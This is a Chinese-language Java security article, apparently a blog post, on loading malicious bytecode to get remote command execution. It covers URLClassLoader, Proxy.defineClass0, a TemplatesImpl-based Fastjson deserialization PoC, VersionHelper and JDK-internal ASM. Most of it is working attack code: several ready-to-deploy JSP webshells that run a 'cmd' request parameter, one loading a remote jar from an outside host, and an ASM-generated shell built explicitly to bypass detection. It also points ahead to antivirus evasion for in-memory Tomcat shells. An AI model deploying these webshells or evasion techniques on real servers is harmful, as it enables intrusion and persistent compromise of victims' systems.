URLClassLoader
另一个ClassLoader,区别在于可以加载任意路径下的类
还是选择0x01中的ByteCodeEvil类
URL url = new URL("file:/your_path/classes/"); URLClassLoader loader = new URLClassLoader(new URL[]{url}); Class<?> clazz = loader.loadClass("ByteCodeEvil"); Constructor<?> constructor = clazz.getConstructor(String.class); constructor.newInstance("calc.exe");
也可以利用URLClassLoader做RCE的回显
public ByteCodeEvil(String cmd) throws Exception { StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader( new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } this.res = stringBuilder.toString(); // 抛出异常 throw new Exception(this.res); }
上文代码编译的字节码被URLClassLoader加载后,可以在报错信息中看到RCE的回显结果
同样可以用于JSP Webshell
<% response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://path/evil.jar")}).loadClass("EvilClass").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes()); %>
defineClass0
主要参考了su18师傅给出的JSP Webshell,使用到的Proxy类是Java动态代理的底层实现类
基于Proxy的native方法defineClass0做一些事情,也许可以绕过一些防御
private static native Class<?> defineClass0(ClassLoader loader, String name, byte[] b, int off, int len);
例如下面的代码调用native方法defineClass0加载字节码
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception { // 获取系统的类加载器 ClassLoader classLoader = ClassLoader.getSystemClassLoader(); // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法 Method method = Proxy.class.getDeclaredMethod("defineClass0",ClassLoader.class, String.class, byte[].class, int.class, int.class); // 修改方法的访问权限 method.setAccessible(true); // 反射调用java.lang.reflect.Proxy.defineClass0()方法 // 动态向JVM注册对象 // 返回一个 Class 对象 return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); }
JSP Webshell
<% byte[] bytes = Base64.getDecoder().decode("BASE64_BYTECODE"); Class<?> testClass = defineByProxy("ByteCodeEvil", bytes); Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd")); out.println(result.toString()); %>
TemplatesImpl
该类是Java安全知名的类,例如著名的CC链、Fastjson、7U21
Fastjson利用
给出恶意类
public class TEMPOC extends AbstractTranslet { public TEMPOC() throws IOException { Runtime.getRuntime().exec("calc.exe"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { TEMPOC t = new TEMPOC(); } }
Fastjson的POC
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["BASE64_BYTECODE"], "_name":"a.b", "_tfactory":{}, "_outputProperties":{ }, "_version":"1.0", "allowedProtocols":"all" }
注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断
final int mask = Feature.SupportNonPublicField.mask; if (fieldDeserializer == null && (lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { ......
反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance,通过defineTransletClasses得到Class然后newInstance实例化
// name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ... TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); ... _class[i] = loader.defineClass(_bytecodes[i]); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
注意到其中的ClassLoader是TransletClassLoader,简单的继承了ClassLoader
static final class TransletClassLoader extends ClassLoader
AccessController.doPrivileged方法主要做权限操作,目的是给ClassLoader设置指定的权限
跟入defineClass发现没有传入name,直接根据字节码获得类
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码
...... if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) { byte[] bytes = lexer.bytesValue(); ......
跟入lexer.bytesValue()方法,看到decodeBase64
public byte[] bytesValue() { ...... // base64解码 return IOUtils.decodeBase64(buf, np + 1, sp); }
基于TemplatesImpl的JSP Webshell
这里不给出代码了,大概分析下思路,参考三梦师傅的代码,有两种实现:
第一种是在JSP中构造一个TemplatesImpl类,按照Fastjson的POC给每个属性设置值,最后调用getOutputProperties方法。获取输入和回显可以基于文件,新建两个文件,写入请求参数在恶意类中读取执行并返回到输出文件
第二种是直接基于序列化数据,调用readObject反序列化触发
VersionHelper
给出基于VersionHelper的一个JSP Webshell,发现方法调用和ClassLoader类似
<% String cmd = request.getParameter("cmd"); String tmp = System.getProperty("java.io.tmpdir"); String jarPath = tmp + File.separator + "Evil.class"; Files.write(Paths.get(jarPath), Base64.getDecoder().decode("BASE64_BYTECODE")); VersionHelper helper = VersionHelper.getVersionHelper(); Class<?> clazz = helper.loadClass("Evil", "file:" + tmp + File.separator); Constructor<?> constructor = clazz.getConstructor(String.class); Object obj = constructor.newInstance(cmd); response.getWriter().print(obj); %>
在static块中实例化
public static VersionHelper getVersionHelper() { return helper; } static { helper = new VersionHelper12(); }
跟入VersionHelper12类的loadClass方法,可以看到底层是一个URLClassLoader,这也解释了为什么要保存成一个文件
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
JDK-ASM
ASM框架可以直接操作字节码,而JDK其实是自带ASM的,并不需要引入第三方依赖
最终目标是加载字节码触发漏洞,并不是一定要使用JAVAC来编译生成,也可以直接写入
例如0x02的BCEL的例子,需要编译得到一长串String bcelCode = "$$BCEL$$......";
而笔者尝试直接用ASM构造出ByteCodeEvil字节码并加载,由于该库是JDK自带,所以理论上有一定的Bypass可能
给出ASM构造出的BCEL JSP Webshell
<%@ page language="java" pageEncoding="UTF-8" %> <%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %> <% // 注意导入开头为jdk.internal // 注意flag为COMPUTE_FRAMES否则报错 jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter( jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES); // 类属性visitor jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor; // 类方法visitor jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor; // 类名可以自行修改 classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null); fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null); fieldVisitor.visitEnd(); methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"}); methodVisitor.visitCode(); methodVisitor.visitVarInsn(ALOAD, 0); methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false); methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder"); methodVisitor.visitInsn(DUP); methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false); methodVisitor.visitVarInsn(ASTORE, 2); methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader"); methodVisitor.visitInsn(DUP); methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader"); methodVisitor.visitInsn(DUP); // 这里可以针对字符串做拆分编码等操作来Bypass methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); methodVisitor.visitVarInsn(ALOAD, 1); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false); methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false); methodVisitor.visitVarInsn(ASTORE, 3); jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label(); methodVisitor.visitLabel(label0); methodVisitor.visitVarInsn(ALOAD, 3); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false); methodVisitor.visitInsn(DUP); methodVisitor.visitVarInsn(ASTORE, 4); jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label(); methodVisitor.visitJumpInsn(IFNULL, label1); methodVisitor.visitVarInsn(ALOAD, 2); methodVisitor.visitVarInsn(ALOAD, 4); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); methodVisitor.visitLdcInsn("\n"); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); methodVisitor.visitInsn(POP); methodVisitor.visitJumpInsn(GOTO, label0); methodVisitor.visitLabel(label1); methodVisitor.visitVarInsn(ALOAD, 0); methodVisitor.visitVarInsn(ALOAD, 2); methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;"); methodVisitor.visitInsn(RETURN); methodVisitor.visitMaxs(6, 5); methodVisitor.visitEnd(); methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null); methodVisitor.visitCode(); methodVisitor.visitVarInsn(ALOAD, 0); methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;"); methodVisitor.visitInsn(ARETURN); methodVisitor.visitMaxs(1, 1); methodVisitor.visitEnd(); classWriter.visitEnd(); byte[] code = classWriter.toByteArray(); String cmd = request.getParameter("cmd"); // 对bytes类型字节码进行BCEL转换 String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true); byteCode = "$$BCEL$$" + byteCode; // 使用BCELClassLoader加载构造的字节码 Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader"); ClassLoader loader = (ClassLoader) c.newInstance(); Class<?> clazz = loader.loadClass(byteCode); java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class); Object obj = constructor.newInstance(cmd); response.getWriter().print("<pre>"); response.getWriter().print(obj.toString()); response.getWriter().print("</pre>"); %>
这种动态生成字节码的方式有很多用途,比如下一篇文章将会使用该功能实现Tomact的Filter型内存马的免杀,构造指定Filter名的字节码文件写入对应的classpath,然后Class.forName加载字节码,迷惑防御方
https://github.com/EmYiQing/MemShell/
具体的原理分析将在下一篇文章中